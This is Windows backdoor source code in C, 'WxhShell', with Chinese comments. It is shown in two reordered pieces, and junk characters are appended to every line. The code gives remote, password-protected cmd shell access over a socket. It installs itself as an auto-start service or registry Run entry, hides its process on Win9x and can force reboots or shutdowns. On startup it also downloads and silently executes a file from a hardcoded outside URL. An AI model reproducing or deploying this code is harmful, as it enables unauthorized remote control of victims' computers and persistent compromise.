    closesocket(wsh); ML Id3#Q  
    ExitThread(0); 0u)]1  
    }  $p}7CP  
    break; >|uZIcs 6  
    } m|=/|Hm  
  // 获取shell a?\ Au  
  case 's': { V4ayewVX  
    CmdShell(wsh); M^k~w{   
    closesocket(wsh); O8 k$Uc  
    ExitThread(0); NWv1g{M  
    break; LT# *nr  
  } 6W#M[0  
  // 退出 M2vYOg`t:c  
  case 'x': { /,GDG=ra  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sh E>gTe  
    CloseIt(wsh); "aAzG+NM  
    break; CbI[K|  
    } gnx!_H\h<  
  // 离开 vY }/CBmg  
  case 'q': { ]?b#~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X;ijCZb3b  
    closesocket(wsh); 5w iU4-{  
    WSACleanup(); vKol@7%N  
    exit(1); a&wl-  
    break; dhsQfWg#}  
        } }3=]1jH6  
  } NC@OmSR\0  
  } z.P) :Er  
u= !?<Q  
  // 提示信息 &*[T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V. \do"m  
} iHWl%]7sN  
  } OpUC98p?@  
trtI^^/%  
  return; |brl<*:  
} tE=P9 \4  
6\/C]![%  
// shell模块句柄 1i#M(u_  
int CmdShell(SOCKET sock) m7g; psg  
{ |HhUU1!  
STARTUPINFO si; h6 8sQd  
ZeroMemory(&si,sizeof(si)); ;la(Q~#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "P"~/<:)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?_}[@x  
PROCESS_INFORMATION ProcessInfo; MXSPD# gN  
char cmdline[]="cmd"; bC)d iC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "*XR'9~7  
  return 0; "qR qEpD%  
} "4oY F:h  
7p@qzE  
// 自身启动模式 /wH]OD{  
int StartFromService(void) W32bBzhL  
{ 1[:?oEI  
typedef struct I[@}+p0  
{ Jc(tV(z  
  DWORD ExitStatus; yG2j!D  
  DWORD PebBaseAddress; Z &/b p1  
  DWORD AffinityMask; SA)}---"  
  DWORD BasePriority; !imm17XQ\  
  ULONG UniqueProcessId; lLS`Ln)"  
  ULONG InheritedFromUniqueProcessId; 8b[ ^6]rM  
}   PROCESS_BASIC_INFORMATION; %Nzg~ZPbmT  
ORyFE:p$  
PROCNTQSIP NtQueryInformationProcess; H '&x4[J:  
oCXBek?\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >z.o?F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ R,7#7bG  
,eF}`  
  HANDLE             hProcess; PIsMx-i0  
  PROCESS_BASIC_INFORMATION pbi; bL]*K$  
89k9#i X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RU>T?2  
  if(NULL == hInst ) return 0; ~4`LOROC  
 -*M/,O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'k{pWfn=<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8{(;s$H~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 59F AhEg  
yL7a*C&  
  if (!NtQueryInformationProcess) return 0; 0!eZ&.h?4  
NYm2fFPc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q1.w8$  
  if(!hProcess) return 0; y4w{8;Mh  
/P Qz$e-!Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (kK6=Mrf  
#\GWYWkR  
  CloseHandle(hProcess); a=.A/;|0*  
0 x4p!5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $*\[I{Zau}  
if(hProcess==NULL) return 0; jyb/aov  
Pp*|EW 1  
HMODULE hMod; WIa4!\Ky!  
char procName[255]; `h+sSIko  
unsigned long cbNeeded; &CV%+  
wm%9>mA%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OjCTTz  
H3H3UIIT_  
  CloseHandle(hProcess);  ?; ZTJ  
FrIguk1  
if(strstr(procName,"services")) return 1; // 以服务启动 2E9Cp  
*&Np;^~  
  return 0; // 注册表启动 9r+]V=  
} 3<88j&9  
RLu y;z  
// 主模块 [nZ3}o  
int StartWxhshell(LPSTR lpCmdLine) se:]F/  
{ /bjyV]N  
  SOCKET wsl; 3P2H!r  
BOOL val=TRUE; Gc^w,n[E  
  int port=0; Fo|6 PoSo  
  struct sockaddr_in door; jeFX?]Q  
^i&sQQ( {  
  if(wscfg.ws_autoins) Install(); a^ hDxeG  
ODyK/Q3  
port=atoi(lpCmdLine); k1e0kxn  
N,0l5fD~T  
if(port<=0) port=wscfg.ws_port; kAsYh4[  
P:eY>~m<;  
  WSADATA data; q"7rd?r52  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 66NJ&ac  
U p=J&^.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5 ?~ ?8Hi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d9^ uEz(  
  door.sin_family = AF_INET; -aK_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5(W`{{AW  
  door.sin_port = htons(port); ^oDCF  
 yr9%,wwN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d~M;@<eD  
closesocket(wsl); M0YV Qa  
return 1; _WO*N9Iz  
} F'^6 ra9  
hK5BOq!y  
  if(listen(wsl,2) == INVALID_SOCKET) { tgCEz%  
closesocket(wsl); :s`~m;Y9?  
return 1; r-&Rjg  
} DgQw`D)+  
  Wxhshell(wsl); +F= j1*'&  
  WSACleanup(); F)Oe;z6  
A\nL(Nd  
return 0; ;.>CDt-E]  
r%\(5H f  
} $ lz\t e  
#usi1UWB#Q  
// 以NT服务方式启动 :y^0]In  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'id] <<F  
{ p uEu v6F  
DWORD   status = 0; iOXxxP%#  
  DWORD   specificError = 0xfffffff; *{5p/}p  
K:hZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JR>#PJ,N-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \X1?,gV_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6g06s @kz  
  serviceStatus.dwWin32ExitCode     = 0; 7VQ|3`!<  
  serviceStatus.dwServiceSpecificExitCode = 0; 5i `q  
  serviceStatus.dwCheckPoint       = 0; Gw%P5 r}Y  
  serviceStatus.dwWaitHint       = 0; >={?H?C  
s$Z zS2d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I<yd=#:n  
  if (hServiceStatusHandle==0) return; `p0+j  
++=t|ZS U  
status = GetLastError(); ]Y@Db5S$T  
  if (status!=NO_ERROR) Z3X/SQ'0  
{ EX zA(igS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GG@GjP<_  
    serviceStatus.dwCheckPoint       = 0; sx7;G^93  
    serviceStatus.dwWaitHint       = 0; [*^` rQ  
    serviceStatus.dwWin32ExitCode     = status; W?is8r:  
    serviceStatus.dwServiceSpecificExitCode = specificError; /o%J / |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rV;X1x}l  
    return; r1dP9MT\8  
  } pD;'uEFBQ  
,tqMMBwC~_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3Run.Gv\  
  serviceStatus.dwCheckPoint       = 0; V/xGk9L~  
  serviceStatus.dwWaitHint       = 0; 8ExEhBX8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )%H@.;cD_r  
} k<xPg5  
[HNWM/ff7+  
// 处理NT服务事件,比如:启动、停止 =qG%h5]n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7:iTx;,v  
{ _gDEIoBp  
switch(fdwControl) `P/7Mf  
{ 5M6`\LyU  
case SERVICE_CONTROL_STOP: 9C9>V]  
  serviceStatus.dwWin32ExitCode = 0; 3Ov? kWFO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tgeX~.  
  serviceStatus.dwCheckPoint   = 0; 6_xPk`m  
  serviceStatus.dwWaitHint     = 0; JAEn 72  
  { b7;`A~{9v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wNQhz.>y  
  } sv}k_6XgY  
  return; ?VUW.-  
case SERVICE_CONTROL_PAUSE: 2L?jp:$;X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LEu_RU?  
  break; a@+n  
case SERVICE_CONTROL_CONTINUE: W`auQO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &USKudXmb  
  break; fviq}.  
case SERVICE_CONTROL_INTERROGATE: ).IB{+  
  break; NmbA~i  
}; vxN,oa{hf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G!Gbg3:4e5  
} P[Q3z$I}  
~\ uI&S5  
// 标准应用程序主函数 R1A|g =kF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z''ITX)oG  
{ m[l[yUw#  
8nKZ   
// 获取操作系统版本 z _A]mJ  
OsIsNt=GetOsVer();  Y7q=]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f&5'1tG  
0Z{;sW  
  // 从命令行安装 y+jOk6)W75  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^)wTCkH&y  
ON r}{T%@/  
  // 下载执行文件 Xo,}S\wcn  
if(wscfg.ws_downexe) { #H8% BZyV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >s*ZT%TF  
  WinExec(wscfg.ws_filenam,SW_HIDE); >v\t> [9t  
} <,:p?36  
"CH3\O\  
if(!OsIsNt) { L_ &`  
// 如果时win9x,隐藏进程并且设置为注册表启动 xMOq/" )  
HideProc(); 98 Dg[O  
StartWxhshell(lpCmdLine); E![Ye@w  
} Qf=+%-$Y  
else '=eG[#gy  
  if(StartFromService()) vZ0K1UTEXY  
  // 以服务方式启动 <r`^iR)%  
  StartServiceCtrlDispatcher(DispatchTable); 8l<4OgoK  
else 4nvi7  
  // 普通方式启动  F0i`HO{  
  StartWxhshell(lpCmdLine); /);S?7u.  
SO!|wag$  
return 0; "bhF`,V  
} B_ x?s  
V DN@=/  
Gt|m;o  
OQ=0>;>  
=========================================== 8k.<xWDU  
I=;.o>  
8gI f  
&xgKHbg  
r9\7I7z  
_`Lv@T.  
" gL/D| =  
_Qh :*j!  
#include <stdio.h> *i`t4N A  
#include <string.h> }HLs.k4-;  
#include <windows.h> eI@nskq#  
#include <winsock2.h> @Q%9b)\\  
#include <winsvc.h> AP:(/@K|  
#include <urlmon.h> a7~%( L@r  
e]!`Cl-f80  
#pragma comment (lib, "Ws2_32.lib") 9P 7^*f:E  
#pragma comment (lib, "urlmon.lib") AJJa<c+j  
OZ SM2~  
#define MAX_USER   100 // 最大客户端连接数 c04;2gR  
#define BUF_SOCK   200 // sock buffer ;1[a*z<l&s  
#define KEY_BUFF   255 // 输入 buffer $yoIz.?V  
&%=]lP]  
#define REBOOT     0   // 重启 *mVQN1  
#define SHUTDOWN   1   // 关机 s^vw]D  
y' r I1eF  
#define DEF_PORT   5000 // 监听端口 [t}@>@W|  
Quts~Q  
#define REG_LEN     16   // 注册表键长度 pRez${f.(s  
#define SVC_LEN     80   // NT服务名长度 .@`5>_  
<Na .6P  
// 从dll定义API ?LAiSg=eq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uv|?@zy#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SJai<>k h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~!iZn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Acl?w }Y  
r:~q{  
// wxhshell配置信息 +U^H`\EUr  
struct WSCFG { V/dL-;W;  
  int ws_port;         // 监听端口 s9\N{ar#  
  char ws_passstr[REG_LEN]; // 口令 Hgk@I;  
  int ws_autoins;       // 安装标记, 1=yes 0=no UNO KK_  
  char ws_regname[REG_LEN]; // 注册表键名 ;x|LB>.  
  char ws_svcname[REG_LEN]; // 服务名  &e%eIz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a<W.}0ZY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vm8rQFCp74  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \b6vu^;p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W>'KE:!sp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K @h9 4Ni6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .`TDpi9OB  
mr[+\ 5  
}; 7 ~9Lj  
pl.x_E,HP  
// default Wxhshell configuration PFSh_9. q  
struct WSCFG wscfg={DEF_PORT, K2@],E?e%|  
    "xuhuanlingzhe", C(J+tbk  
    1, Evy_I+l  
    "Wxhshell", 'u84d=*l  
    "Wxhshell", wpK[;  
            "WxhShell Service", IA3m.Vxj ^  
    "Wrsky Windows CmdShell Service", M/5+AsT  
    "Please Input Your Password: ", }J0HEpn4  
  1, @p 2XaqZ  
  "http://www.wrsky.com/wxhshell.exe", 6-t:eo9  
  "Wxhshell.exe" 9H%dK^C  
    }; OBEHUJ5  
o @(.4+2m  
// 消息定义模块 m.b}A'GT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \<kQ::o1y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dml,|k=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >ca w :  
char *msg_ws_ext="\n\rExit."; Lyy:G9OV  
char *msg_ws_end="\n\rQuit."; Nq >"vEq)  
char *msg_ws_boot="\n\rReboot..."; zk^uS#  
char *msg_ws_poff="\n\rShutdown..."; +zINnX  
char *msg_ws_down="\n\rSave to "; `7$Sga6M  
h}n?4B~Gi  
char *msg_ws_err="\n\rErr!"; ["~T)d'  
char *msg_ws_ok="\n\rOK!"; 3'xmq  
[ ;LP6n7v  
char ExeFile[MAX_PATH]; }c@duf-l  
int nUser = 0; dUc ([&  
HANDLE handles[MAX_USER]; N${Wh|__^l  
int OsIsNt; h~-cnAMt  
|FP@NUX\  
SERVICE_STATUS       serviceStatus; Cb i;CF\{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k* e $_  
]uZaj?%J<  
// 函数声明 Dk#4^`qp1  
int Install(void); pdq5EUdS  
int Uninstall(void); SpA-E/el  
int DownloadFile(char *sURL, SOCKET wsh); *OU&`\bmE  
int Boot(int flag); fI"OzIJV  
void HideProc(void); VxqoE]Dh  
int GetOsVer(void); +&*Ybbhb  
int Wxhshell(SOCKET wsl); yP*oRV%uX  
void TalkWithClient(void *cs); )n{9*{Ch  
int CmdShell(SOCKET sock); hnTk)nq5#  
int StartFromService(void); |576)  
int StartWxhshell(LPSTR lpCmdLine); {D`_q|  
s#4Q?<65u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %j. *YvveW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #QM9!k@9k  
=j^wa')  
// 数据结构和表定义 rL23^}+^`  
SERVICE_TABLE_ENTRY DispatchTable[] = `-yiVUp1:z  
{ 1{$=N 2U  
{wscfg.ws_svcname, NTServiceMain}, )F3>  
{NULL, NULL} 5XF&yYWq  
}; _M)J{ {?:  
(3  ]!ZV  
// 自我安装 n,*E s/\  
int Install(void) ^2-+MWW.  
{ LLU]KZhtY|  
  char svExeFile[MAX_PATH]; z *~rd2  
  HKEY key;  +OeoA{-W  
  strcpy(svExeFile,ExeFile); C%q]o  
4O>0gK{w  
// 如果是win9x系统,修改注册表设为自启动 Z,:}H6Mj9  
if(!OsIsNt) { #]}]ZE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B]wfDUG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6e4A| <  
  RegCloseKey(key); 39oI &D>8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~^v*f   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / 0y5/  
  RegCloseKey(key); a'|/=$  
  return 0; n|Gw?@CU7  
    } &]jCoBj+_  
  } w|( ix;pK  
} .,&6 x.  
else { IiZXIG4H  
*zl-R*bM$  
// 如果是NT以上系统,安装为系统服务 ey ?paT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1( vcM  
if (schSCManager!=0) iL;{]A'0  
{ t`G<}t  
  SC_HANDLE schService = CreateService sHm :G_  
  ( PmlQW!gfBi  
  schSCManager, 6r}w  
  wscfg.ws_svcname, ?V$@2vBVX4  
  wscfg.ws_svcdisp, H5/w!y@  
  SERVICE_ALL_ACCESS, y;ymyy&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e?\34F  
  SERVICE_AUTO_START, `XK#sCC  
  SERVICE_ERROR_NORMAL, Wf>=^ ~`  
  svExeFile, 2^ kK2D$o  
  NULL, I!Uj~jV  
  NULL, |v@ zyOq&b  
  NULL, Dfw%Bu  
  NULL, K(heeZUt  
  NULL [5wU0~>'  
  ); ucX!6)Op  
  if (schService!=0) ~NZ}@J{00_  
  { 7~2V5 @{<  
  CloseServiceHandle(schService); 2O " ~k  
  CloseServiceHandle(schSCManager); dEK bB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gjc[\"0a5h  
  strcat(svExeFile,wscfg.ws_svcname); &O|qx~(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UmOK7SPi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pL`)^BJ  
  RegCloseKey(key); z2god 1"  
  return 0; :8l#jU `y  
    } ]:Sb#=,!&!  
  } g]m}@b6(h  
  CloseServiceHandle(schSCManager); Mk|*=#e;  
} yCZ[z A  
} Vh8RVFi;c  
](SqLTB+?  
return 1; ]tc Cr;  
} .y2np  
4]m?8j) 6b  
// 自我卸载 r)Fd3)e   
int Uninstall(void) A1/[3Bz  
{ g7O , <  
  HKEY key; ;-d2~1$  
y0\=F  
if(!OsIsNt) { h45RwQ5Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =`MMB|{6  
  RegDeleteValue(key,wscfg.ws_regname); ?Y'r=Q{w  
  RegCloseKey(key); Na{&aqdz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %)PQomn?  
  RegDeleteValue(key,wscfg.ws_regname); O^<\]_l  
  RegCloseKey(key); 3y]rhB  
  return 0; cPg$*,]  
  } 7&*d]#&~j  
} 7U`8W\-  
} PLs(+>H  
else { Ujfs!ikh&F  
vlx\hJ<I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d1hXzJs  
if (schSCManager!=0) M =6  
{ E9#.!re|^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MVZ9x%  
  if (schService!=0) K?X 6@u|h  
  { R\:t 73  
  if(DeleteService(schService)!=0) { t2#zQ[~X!  
  CloseServiceHandle(schService); 3?-2~s3gp  
  CloseServiceHandle(schSCManager); 8npjQ;%4>  
  return 0; 5gH'CzU?  
  } m"tke'a  
  CloseServiceHandle(schService); L0>w|LpRc  
  } nWsR;~pK  
  CloseServiceHandle(schSCManager); (m& ''yaH  
} :my@Oxx4@  
} cDqj&:$e  
66MWOrr  
return 1; 0]MI*s>&  
} y>|AX/n  
06fs,!Q@  
// 从指定url下载文件 n%I9l]  
int DownloadFile(char *sURL, SOCKET wsh) D0@d}N  
{ ]R6Z(^XT,E  
  HRESULT hr; vH/ Y]Am  
char seps[]= "/"; O*-sSf   
char *token; ^=Egf?|[  
char *file;  :IX_}|  
char myURL[MAX_PATH];  cvO;xR  
char myFILE[MAX_PATH]; <G#z;]N  
V|G[j\]E<  
strcpy(myURL,sURL); un(fr7NW  
  token=strtok(myURL,seps); q($fl7}Y  
  while(token!=NULL) eW zyydl  
  { r!HB""w  
    file=token; Uiu9o]n  
  token=strtok(NULL,seps); V SUz+W  
  } 2~q(?wY  
R4Si{J*O  
GetCurrentDirectory(MAX_PATH,myFILE); i*ji   
strcat(myFILE, "\\"); ?Qdp#K]WX  
strcat(myFILE, file); ]WZi +  
  send(wsh,myFILE,strlen(myFILE),0); .}DL%E`n  
send(wsh,"...",3,0); ~.f[K{h8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k ks ?S',  
  if(hr==S_OK) :j( D&?ao  
return 0; Z=CY6Zu7  
else C;.+ kE  
return 1; S[L2vM)  
z{dn   
} 9S$?2z".2  
R; Gf3K  
// 系统电源模块 3-$w5O3}  
int Boot(int flag) HP*AN@>Kw  
{ ffE&=eh)  
  HANDLE hToken; uq_h8JH$  
  TOKEN_PRIVILEGES tkp; |4u?Q+k%%  
`8N],X  
  if(OsIsNt) { <|_b:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :z}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M}W};~V2ng  
    tkp.PrivilegeCount = 1; tx{tIw^2;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i=8){G X4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V0'_PR@;  
if(flag==REBOOT) { J t,7S4JL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rCFTch"  
  return 0; x:WxEw>R  
} +jpC%o}C  
else { QW1d&Gb.(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b=j]tb,  
  return 0; O.~@V(7ah  
} d*TpHLm  
  } SK_i 3?  
  else { +i.b&PF'H  
if(flag==REBOOT) { >!|(n @  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hxzdxwz%$  
  return 0; hg=BXe4:  
} 1O]27"9  
else { uSi/|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Je~d/,^WU  
  return 0; ~ E|L4E  
} yNu%D$6u7  
} J>Uzd, /  
i&dMX:fRd  
return 1; %*wOJx  
} fG\]&LFBU  
hV4\#K[  
// win9x进程隐藏模块 Mb0cdK?hA  
void HideProc(void) 9Ucn 6[W  
{ MOEB{~v`;  
HJ,sZ4*]]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $S0eERg a  
  if ( hKernel != NULL ) ooPH [p  
  { $6]7>:8mz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N}2xt)JZz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z2dy|e(c  
    FreeLibrary(hKernel); RU^lR8;  
  } [F< Tl =  
c(<,qWH  
return; HN*w(bROr  
} 'hM?J*m  
_F1{<" 4  
// 获取操作系统版本 }uE8o"q  
int GetOsVer(void) Ghgo"-,#  
{ ii :h E=  
  OSVERSIONINFO winfo; "nK(+Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &JpFt^IHi  
  GetVersionEx(&winfo); wbaXRvg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ceu}Lp^%/  
  return 1; \4.U.pKY  
  else ToHCS/J59  
  return 0; d#9"_{P  
} $N#f)8v  
' 1aU0<  
// 客户端句柄模块 fuxBoB  
int Wxhshell(SOCKET wsl) "A_W U|  
{ >cPB:kD'  
  SOCKET wsh; -\`n{$OR  
  struct sockaddr_in client; 2 S\~  
  DWORD myID; = e)[?{H  
+jD{ O @9  
  while(nUser<MAX_USER) U&mJ_f#M  
{ %q@eCN  
  int nSize=sizeof(client); 43;@m}|7$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _r}oYs%1  
  if(wsh==INVALID_SOCKET) return 1; )oSUhU26}  
3 9Ql|l$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fFfH9cl!  
if(handles[nUser]==0) m$xyUv1  
  closesocket(wsh); xwj%X%2  
else dsP1Zq  
  nUser++; !(hP{k ^g  
  } cmIAWFj-)e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hize m!  
7FVu [Qu  
  return 0; ^#R-_I  
} n NI V(  
_ID2yJ   
// 关闭 socket 4><b3r;T'  
void CloseIt(SOCKET wsh) )CzWq}:  
{ In0kP"  
closesocket(wsh); *a@pZI0'  
nUser--; .Jz$)R  
ExitThread(0); "9 -duDg  
} Y'n TyH  
HB4Hz0Fa  
// 客户端请求句柄 [ed%"f  
void TalkWithClient(void *cs) HB$*xS1  
{ >,`/ z  
Tv0|e'^  
  SOCKET wsh=(SOCKET)cs; z+1#p.F$@  
  char pwd[SVC_LEN]; 'A,&9E{%1  
  char cmd[KEY_BUFF]; R.R(|!w>  
char chr[1]; fz W%(.tc\  
int i,j; 2FO.!m  
_1c'~;  
  while (nUser < MAX_USER) { u!%]?MSc  
I'o9.B8%#  
if(wscfg.ws_passstr) { X9nt;A2TU+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <GShm~XD2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j8@YoD5o  
  //ZeroMemory(pwd,KEY_BUFF); :YB:)wV,P  
      i=0; ML0o :8Bd\  
  while(i<SVC_LEN) { e:V(kzAY;  
^\cB&<h  
  // 设置超时 r+;C}[E  
  fd_set FdRead; jz|zq\Eek  
  struct timeval TimeOut; \qAMs^1-  
  FD_ZERO(&FdRead);  y'Xg"  
  FD_SET(wsh,&FdRead); +7o3TA]-  
  TimeOut.tv_sec=8; w?.0r6j  
  TimeOut.tv_usec=0; 8^zI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +|Q8P?YD_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /40Z-'Bl=(  
W;,.OoDc>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pN&Dpz^  
  pwd=chr[0]; g!7/iKj:  
  if(chr[0]==0xd || chr[0]==0xa) { DT(A~U<y  
  pwd=0; BpCzmU  
  break; PDX^MYoN  
  } O!sZMGF$p  
  i++; ]?^m;~MQZ  
    } (]>c8;o#b  
6Pl$DSu  
  // 如果是非法用户,关闭 socket 'M+iVF6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r,i^-jv;  
} >E?626*  
DJrE[wI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <!&nyuSz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PBr-< J  
kAf:_0?6  
while(1) { PP&AF?C  
D<}KTyG]  
  ZeroMemory(cmd,KEY_BUFF); oj@B'j  
5_M9T 3  
      // 自动支持客户端 telnet标准   CIQo2~G  
  j=0; Hw<t>z k  
  while(j<KEY_BUFF) { br<,?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8;.WX  
  cmd[j]=chr[0]; R3&W.?C T  
  if(chr[0]==0xa || chr[0]==0xd) { Yv9(8  
  cmd[j]=0; mN_RB{g{  
  break; ]m(Uv8/6  
  } (ui"vLk8PP  
  j++; Z KnEg2a  
    } eUVE8pZl  
F)lDK.  
  // 下载文件 rjQV;kX>  
  if(strstr(cmd,"http://")) { &~G>pvZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G(|ki9^@"9  
  if(DownloadFile(cmd,wsh)) {DBgW},  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8@Xq ,J  
  else KCDEMs}}zM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ar=uDb;  
  } F^&_O*"  
  else { .!,T> :R  
e0+N1kY  
    switch(cmd[0]) { (<(8(} x  
  2>.B*P  
  // 帮助 r3/H_Z  
  case '?': { V;~W,o!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =wPl;SDf!  
